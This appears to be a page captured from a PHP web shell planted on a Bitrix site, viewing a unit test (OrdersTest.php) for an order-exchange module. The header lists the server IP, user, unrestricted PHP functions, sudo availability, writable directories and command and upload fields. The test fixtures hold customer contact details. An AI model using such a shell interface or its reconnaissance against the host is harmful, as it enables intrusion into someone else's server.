403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.exchange1c/tests/unit/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.exchange1c/tests/unit/OrdersTest.php
<?php
namespace Wbs24\Exchange1c;

use Bitrix\Main\Loader;

class OrdersTest extends BitrixTestCase
{
    protected function getObjectMocks()
    {
        // для getOrdersByParam()
        $ResultStub = $this->getMockBuilder(\stdClass::class)
            ->setMethods(['fetch'])
            ->getMock();
        $fetchResults = [
            [
                'ID' => 1001,
                'XML_ID' => 'bx_1',
                'STATUS_ID' => 'N',
                'USER_ID' => 10,
                'CANCELED' => 'N',
                'DATE_CANCELED' => '',
            ],
            false,
        ];
        $ResultStub->method('fetch')
            ->will($this->onConsecutiveCalls(...$fetchResults));

        $OrderStub = $this->createMock(Wrappers\Order::class);
        $OrderStub->method('getList')
            ->willReturn($ResultStub);

        // для getCustomerInfo()
        $ResultStub = $this->getMockBuilder(\stdClass::class)
            ->setMethods(['fetch'])
            ->getMock();
        $fetchResults = [
            [
                'CODE' => 'FIO',
                'VALUE' => 'Test',
            ],
            [
                'CODE' => 'EMAIL',
                'VALUE' => 'test@test.com',
            ],
            [
                'CODE' => 'PHONE',
                'VALUE' => '79990000001',
            ],
            [
                'CODE' => 'CITY',
                'VALUE' => 'Big city',
            ],
            [
                'CODE' => 'ADDRESS',
                'VALUE' => '1 Str. 101',
            ],
            false,
        ];
        $ResultStub->method('fetch')
            ->will($this->onConsecutiveCalls(...$fetchResults));

        $PropertyValueCollectionStub = $this->createMock(Wrappers\PropertyValueCollection::class);
        $PropertyValueCollectionStub->method('getList')
            ->willReturn($ResultStub);

        // для getOrderInfo()

        // для getSource()
        $orderExemplar = $this->getMockBuilder(\stdClass::class)
            ->setMethods(['getTradeBindingCollection'])
            ->getMock();
        $orderExemplar->method('getTradeBindingCollection')
            ->willReturn([]);
        $OrderStub->method('load') // $OrderStub определен выше для функции getOrdersByParam()
            ->willReturn($orderExemplar);

        // для getProductsByOrderId()
        $ResultStub = $this->getMockBuilder(\stdClass::class)
            ->setMethods(['fetch'])
            ->getMock();
        $fetchResults = [
            [
                'ID' => 201,
                'PRODUCT_ID' => 101,
                'NAME' => 'Product 1',
                'PRICE' => '1000.01',
                'QUANTITY' => 1,
            ],
            [
                'ID' => 202,
                'PRODUCT_ID' => 102,
                'NAME' => 'Product 2',
                'PRICE' => '500.00',
                'QUANTITY' => 2,
            ],
            false,
        ];
        $ResultStub->method('fetch')
            ->will($this->onConsecutiveCalls(...$fetchResults));

        $BasketStub = $this->createMock(Wrappers\Basket::class);
        $BasketStub->method('getList')
            ->willReturn($ResultStub);

        // для addProductMeta()
        $CatalogStub = $this->createMock(Catalog::class);
        $CatalogStub->method('getProductMeta')
            ->will($this->returnCallback(
                function ($productId) {
                    return [
                        "sku" => "ART".$productId."_M_MIX_1_XL",
                        //"color" => "",
                        //"size" => "XL",
                        //"packageRatio" => 1,
                        //"barcode" => '12345678'.$productId,
                    ];
                }
            ));
        $CatalogStub->method('getWarehousesInfo')
            ->willReturn([
                1 => [
                    'ID' => 1,
                    'XML_ID' => 'abcdef123456',
                    'TITLE' => 'Store 1',
                ],
                2 => [
                    'ID' => 2,
                    'XML_ID' => 'abcdef123457',
                    'TITLE' => 'Store 2',
                ],
            ]);
        $CatalogStub->method('getAllowedProductIds')
            ->willReturn([
                101,
                102,
            ]);

        // для getCustomerId()
        $DbStub = $this->createMock(Db::class);
        $DbStub->method('getSingle')
            ->willReturn(['id' => 1]);
        $DbStub->method('set')
            ->willReturn(null);

        return [
            'Order' => $OrderStub,
            'PropertyValueCollection' => $PropertyValueCollectionStub,
            'Basket' => $BasketStub,
            'Catalog' => $CatalogStub,
            'Db' => $DbStub,
        ];
    }

    public function test_getOrders()
    {
        // входные параметры
        $param = [
            'fromTime' => 1675435290,
            'not_check_permissions' => true,
        ];

        // результат для проверки
        $expectedResult = [
            [
                'orderId' => 1001,
                'xmlId' => 'bx_1',
                'status' => 'N',
                'statusTimestamp' => '',
                'canceled' => 'N',
                'canceledTimestamp' => '',
                'createdTimestamp' => '',
                'orderSum' => 2000.01,
                'properties' => [],
                'customer' => [
                    'name' => 'Test',
                    'email' => 'test@test.com',
                    'phone' => '79990000001',
                    'city' => 'Big city',
                    'address' => '1 Str. 101',
                    'userId' => 10,
                    'customerId' => 1,
                ],
                'products' => [
                    [
                        'productId' => 101,
                        'sku' => 'ART101_M_MIX_1_XL',
                        //'color' => '',
                        //'size' => 'XL',
                        //'barcode' => '12345678101',
                        //'packageRatio' => 1,
                        'stocks' => [
                            //'stockId' => 'abcdef123456',
                            //'stockName'	=> 'Store 1',
                            'quantity' => 1,
                        ],
                        'salePrice' => 1000.01,
                        'salePriceSum' => 1000.01,
                    ],
                    [
                        'productId' => 102,
                        'sku' => 'ART102_M_MIX_1_XL',
                        //'color' => '',
                        //'size' => 'XL',
                        //'barcode' => '12345678102',
                        //'packageRatio' => 1,
                        'stocks' => [
                            //'stockId' => 'abcdef123456',
                            //'stockName' => 'Store 1',
                            'quantity' => 2,
                        ],
                        'salePrice' => 500,
                        'salePriceSum' => 1000,
                    ],
                ],
                'source' => 'site',
            ],
        ];

        // заглушки
        $mocks = $this->getObjectMocks();

        // вычисление результата
        $object = new Orders($mocks);
        $result = $object->getOrders($param);

        // проверка
        $this->assertEquals($expectedResult, $result);
    }

    public function test_getDateListByRange()
    {
        // входные параметры
        $from = "29.12.2023 12:00:00";
        $to = "02.01.2024 12:00:00";

        // результат для проверки
        $expectedResult = [
            '29.12.2023',
            '30.12.2023',
            '31.12.2023',
            '01.01.2024',
            '02.01.2024',
        ];

        // заглушки

        // вычисление результата
        $method = $this->getMethod('Wbs24\\Exchange1c\\Orders', 'getDateListByRange');
        $object = new \Wbs24\Exchange1c\Orders($mocks);
        $result = $method->invokeArgs($object, [$from, $to]);

        // проверка
        $this->assertEquals($expectedResult, $result);
    }

    public function test_validateOrders()
    {
        // входные параметры
        $orders = [
            [
                'orderId' => 1001,
                'canceled' => 'Y',
                'canceledTimestamp' => strtotime('2023-08-16 08:00:00'),
                'properties' => [
                    'shipmentDate' => '16.08.2023',
                ],
            ],
            [
                'orderId' => 1002,
                'canceled' => 'Y',
                'canceledTimestamp' => strtotime('2023-08-16 07:00:00'),
                'properties' => [
                    'shipmentDate' => '16.08.2023',
                ],
            ],
            [
                'orderId' => 1003,
                'canceled' => 'Y',
                'canceledTimestamp' => strtotime('2023-08-15 15:00:00'),
                'properties' => [
                    'shipmentDate' => '16.08.2023',
                ],
            ],
            [
                'orderId' => 1004,
                'canceled' => 'Y',
                'canceledTimestamp' => strtotime('2023-08-17 07:00:00'),
                'properties' => [
                    'shipmentDate' => '16.08.2023',
                ],
            ],
            [
                'orderId' => 1005,
                'canceled' => 'N',
                'canceledTimestamp' => '',
                'properties' => [
                    'shipmentDate' => '16.08.2023',
                ],
            ],
        ];

        // результат для проверки
        $expectedResult = [
            [
                'orderId' => 1001,
                'canceled' => 'Y',
                'canceledTimestamp' => strtotime('2023-08-16 08:00:00'),
                'properties' => [
                    'shipmentDate' => '16.08.2023',
                ],
            ],
            [
                'orderId' => 1004,
                'canceled' => 'Y',
                'canceledTimestamp' => strtotime('2023-08-17 07:00:00'),
                'properties' => [
                    'shipmentDate' => '16.08.2023',
                ],
            ],
            [
                'orderId' => 1005,
                'canceled' => 'N',
                'canceledTimestamp' => '',
                'properties' => [
                    'shipmentDate' => '16.08.2023',
                ],
            ],
        ];

        // заглушки

        // вычисление результата
        $method = $this->getMethod('Wbs24\\Exchange1c\\Orders', 'validateOrders');
        $object = new \Wbs24\Exchange1c\Orders($mocks);
        $result = $method->invokeArgs($object, [$orders]);

        // проверка
        $this->assertEquals($expectedResult, $result);
    }

    public function test_getProductsWithKitElementsByOrderId()
    {
        // входные параметры
        $orderId = 1;

        // результат для проверки
        $expectedResult = [
            8308 => [
                'ID' => 8308,
                'PRODUCT_ID' => 1836,
                'SET_PARENT_ID' => '',
                'NAME' => 'Римская свеча Вьюга УПАКОВКА Р5300 (4 шт*6 залпов) Русская пиротехника',
                'PRICE' => '595.0000',
                'QUANTITY' => '3.0000',
                'sku' => 'Р5300/4',
                'kitElements' => [
                    8309 => [
                        'ID' => 8309,
                        'PRODUCT_ID' => 2546,
                        'SET_PARENT_ID' => 8308,
                        'NAME' => 'Римская свеча Р5300 Вьюга 1 шт х 6 залпов',
                        'PRICE' => '226.0000',
                        'QUANTITY' => '12.0000',
                        'sku' => 'Р5300',
                    ],
                ],
            ],
            8326 => [
                'ID' => 8326,
                'PRODUCT_ID' => 1972,
                'SET_PARENT_ID' => '',
                'NAME' => 'Фейерверк фонтан РС4163 Чумовой Кракатау Русская пиротехника',
                'PRICE' => '2350.0000',
                'QUANTITY' => '1.0000',
                'sku' => 'РС4163',
            ],
        ];

        // заглушки
        $ResultStub = $this->getMockBuilder(\stdClass::class)
            ->setMethods(['fetch'])
            ->getMock();
        $fetchResults = [
            [
                'ID' => 8308,
                'PRODUCT_ID' => 1836,
                'SET_PARENT_ID' => '',
                'NAME' => 'Римская свеча Вьюга УПАКОВКА Р5300 (4 шт*6 залпов) Русская пиротехника',
                'PRICE' => '595.0000',
                'QUANTITY' => '3.0000',
                'sku' => 'Р5300/4',
            ],
            [
                'ID' => 8326,
                'PRODUCT_ID' => 1972,
                'SET_PARENT_ID' => '',
                'NAME' => 'Фейерверк фонтан РС4163 Чумовой Кракатау Русская пиротехника',
                'PRICE' => '2350.0000',
                'QUANTITY' => '1.0000',
                'sku' => 'РС4163',
            ],
            [
                'ID' => 8309,
                'PRODUCT_ID' => 2546,
                'SET_PARENT_ID' => 8308,
                'NAME' => 'Римская свеча Р5300 Вьюга 1 шт х 6 залпов',
                'PRICE' => '226.0000',
                'QUANTITY' => '12.0000',
                'sku' => 'Р5300',
            ],
            false,
        ];
        $ResultStub->method('fetch')
            ->will($this->onConsecutiveCalls(...$fetchResults));

        $BasketStub = $this->createMock(Wrappers\Basket::class);
        $BasketStub->method('getList')
            ->willReturn($ResultStub);

        // вычисление результата
        $method = $this->getMethod('Wbs24\\Exchange1c\\Orders', 'getProductsWithKitElementsByOrderId');
        $object = new \Wbs24\Exchange1c\Orders([
            'Basket' => $BasketStub,
        ]);
        $result = $method->invokeArgs($object, [$orderId]);

        // проверка
        $this->assertEquals($expectedResult, $result);
    }

    public function test_convertOrders()
    {
        // входные параметры
        $orders = array (
            0 =>
            array (
              'ID' => '744',
              'XML_ID' => 'bx_639a2d7094e03',
              'STATUS_ID' => 'N',
              'USER_ID' => '15391',
              'DATE_CANCELED' => '',
              'CANCELED' => 'N',
              'DATE_STATUS' => '',
              'DATE_INSERT' => '',
              'customer' =>
              array (
                'name' => 'Ольга Голубева',
                'email' => 'olga999@mail.ru',
                'phone' => '+7 (999) 757-89-81',
                'city' => 'Москва',
                'address' => 'Boxberry: 197372, Санкт-Петербург г, Богатырский пр-кт, д.999 #78471',
                'userId' => '15391',
              ),
              'properties' =>
              array (
              ),
              'source' => 'site',
              'products' =>
              array (
                0 =>
                array (
                  'ID' => '8306',
                  'PRODUCT_ID' => '2609',
                  'SET_PARENT_ID' => NULL,
                  'NAME' => 'Римская свеча Р5310 Сакура 1 шт*10 залпов',
                  'PRICE' => '146.0000',
                  'QUANTITY' => '1.0000',
                  'sku' => 'Р5310',
                  'stocks' =>
                  array (
                    'quantity' => 1,
                  ),
                ),
                1 =>
                array (
                  'ID' => '8308',
                  'PRODUCT_ID' => '1836',
                  'SET_PARENT_ID' => NULL,
                  'NAME' => 'Римская свеча Вьюга УПАКОВКА Р5300 (4 шт*6 залпов) Русская пиротехника',
                  'PRICE' => '595.0000',
                  'QUANTITY' => '3.0000',
                  'sku' => 'Р5300/4',
                  'kitElements' =>
                  array (
                    8309 =>
                    array (
                      'ID' => '8309',
                      'PRODUCT_ID' => '2546',
                      'SET_PARENT_ID' => '8308',
                      'NAME' => 'Римская свеча Р5300 Вьюга 1 шт х 6 залпов',
                      'PRICE' => '226.0000',
                      'QUANTITY' => '12.0000',
                      'sku' => 'Р5300',
                    ),
                  ),
                  'stocks' =>
                  array (
                    'quantity' => 3,
                  ),
                ),
              ),
            ),
          );

        // результат для проверки
        $expectedResult = array (
            0 =>
            array (
              'orderId' => '744',
              'xmlId' => 'bx_639a2d7094e03',
              'status' => 'N',
              'statusTimestamp' => '',
              'canceled' => 'N',
              'canceledTimestamp' => '',
              'createdTimestamp' => '',
              'orderSum' => 1931.0,
              'properties' =>
              array (
              ),
              'customer' =>
              array (
                'name' => 'Ольга Голубева',
                'email' => 'olga999@mail.ru',
                'phone' => '+7 (999) 757-89-81',
                'city' => 'Москва',
                'address' => 'Boxberry: 197372, Санкт-Петербург г, Богатырский пр-кт, д.999 #78471',
                'userId' => '15391',
              ),
              'source' => 'site',
              'products' =>
              array (
                0 =>
                array (
                  'productId' => '2609',
                  'sku' => 'Р5310',
                  'stocks' =>
                  array (
                    'quantity' => 1,
                  ),
                  'salePrice' => '146.0000',
                  'salePriceSum' => 146.0,
                ),
                1 =>
                array (
                  'productId' => '1836',
                  'sku' => 'Р5300/4',
                  'kitElements' => [
                    [
                        'productId' => '2546',
                        'sku' => 'Р5300',
                        'stocks' =>
                        array (
                          'quantity' => 12,
                        ),
                        'price' => 226,
                    ],
                  ],
                  'stocks' =>
                  array (
                    'quantity' => 3,
                  ),
                  'salePrice' => '595.0000',
                  'salePriceSum' => 1785.0,
                ),
              ),
            ),
          );

        // заглушки

        // вычисление результата
        $method = $this->getMethod('Wbs24\\Exchange1c\\Orders', 'convertOrders');
        $object = new \Wbs24\Exchange1c\Orders();
        $result = $method->invokeArgs($object, [$orders]);

        // проверка
        $this->assertEquals($expectedResult, $result);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit